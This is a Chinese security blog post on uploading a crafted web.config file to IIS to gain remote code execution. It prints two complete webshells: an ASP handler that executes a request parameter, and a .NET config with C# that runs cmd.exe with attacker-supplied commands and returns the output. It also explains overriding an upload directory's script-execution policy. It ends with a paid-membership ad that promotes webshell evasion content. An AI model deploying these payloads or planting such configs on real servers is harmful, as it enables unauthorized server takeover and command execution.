.NET 上传web.config文件实现RCE

.NET 上传web.config文件实现RCE

专攻.NET安全的 dotNet安全矩阵 2023-09-11 08:40

0x01 作为ASP脚本运行

当某些运行.NET环境的IIS容器也支持托管 ASP 脚本
时,有的场景可能会遇到无法直接上传扩展名为 .ASP 的文件,在这种情况下可以通过上传定制化的 web.config文件来运行经典 ASP 脚本代码。

<system.webServer>
    <handlers accessPolicy="Read, Script, Write">
      <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
    </handlers>
    <security>
      <requestFiltering>
        <fileExtensions>
          <remove fileExtension=".config" />
        </fileExtensions>
        <hiddenSegments>
          <remove segment="web.config" />
        </hiddenSegments>
      </requestFiltering>
    </security>
  </system.webServer>
<!--
<%
Response.write("-"&"->")
Response.write(1+2)
on error resume next
if execute(request("dotnet")) <>"" then execute(request("dotnet"))
Response.write("<!-"&"-")
%>
-->

访问 /web.config?dotnet=response.write(now()),页面返回当前日期信息,证明脚本运行成功。如下图所示

0x02 作为.NET运行


Internet Information Service

务器不支持
ASP
脚本,仅支持
.NET
运行环境时,有些漏洞场景可能会遇到无法上传
ashx

aspx

asmx

soap
等扩展名时,可以尝试通过上传定制化的
web.config
文件来运行
.NET
代码

<system.web>
    <compilation defaultLanguage="cs">
      <buildProviders>
        <add extension=".config" type="System.Web.Compilation.PageBuildProvider" />
      </buildProviders>
    </compilation>
    <httpHandlers>
      <add path="web.config" type="System.Web.UI.PageHandlerFactory" verb="*" />
    </httpHandlers>
  </system.web>
  if (flag){
   System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.FileName = "cmd.exe";
  string str = httpContext.Request["c"];
  process.StartInfo.Arguments = "/c " + str;
  process.StartInfo.RedirectStandardOutput = true;
  process.StartInfo.RedirectStandardError = true;
  process.StartInfo.UseShellExecute = false;
  process.Start();
  string str2 = process.StandardOutput.ReadToEnd();
  httpContext.Response.Write("<pre>" + str2 + "</pre>");
  httpContext.Response.Flush();
  httpContext.Response.End();
}

访问 /web.config,传入参数c=tasklist,页面返回当前所有的系统进程,脚本运行成功。如下图所示

0x03 绕过策略限制

web.config
文件可用于配置
IIS
服务器的运行行为,实战中某些上传目录被管理员设定为禁止运行脚本,并且只
提供读取操作,不具备修改和写入权限,比如对
uploads
目录下的
web.config
文件配置如下清单

<system.webServer>
    <handlers accessPolicy="Read,Write">
    </handlers>
  </system.webServer>

请求/uploads/Shell2asmx.soap如下图所示

但此时修改accessPolicy策略,添加写入、执行、运行脚本权限。即accessPolicy=”Read,Write,Execute,Script”,再向uploads目录下上传新配置的这个web.config,如下图所示

欢迎加入星球

为了更好地应对基于.NET技术栈的风险识别和未知威胁,dotNet安全矩阵星球从创建以来一直
聚焦于.NET领域的安全攻防技术,定位于
高质量安全攻防星球社区,也
得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展
。经过运营团队成员商议一致同意给到师傅们最大优惠力度,
只需129元就可以加入我们。

星球汇聚了
各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET
安全资源,可以说市面上很少见,都是干货。其中主题包括
.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库
等等,后续还会倾力打造
专刊、视频
等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。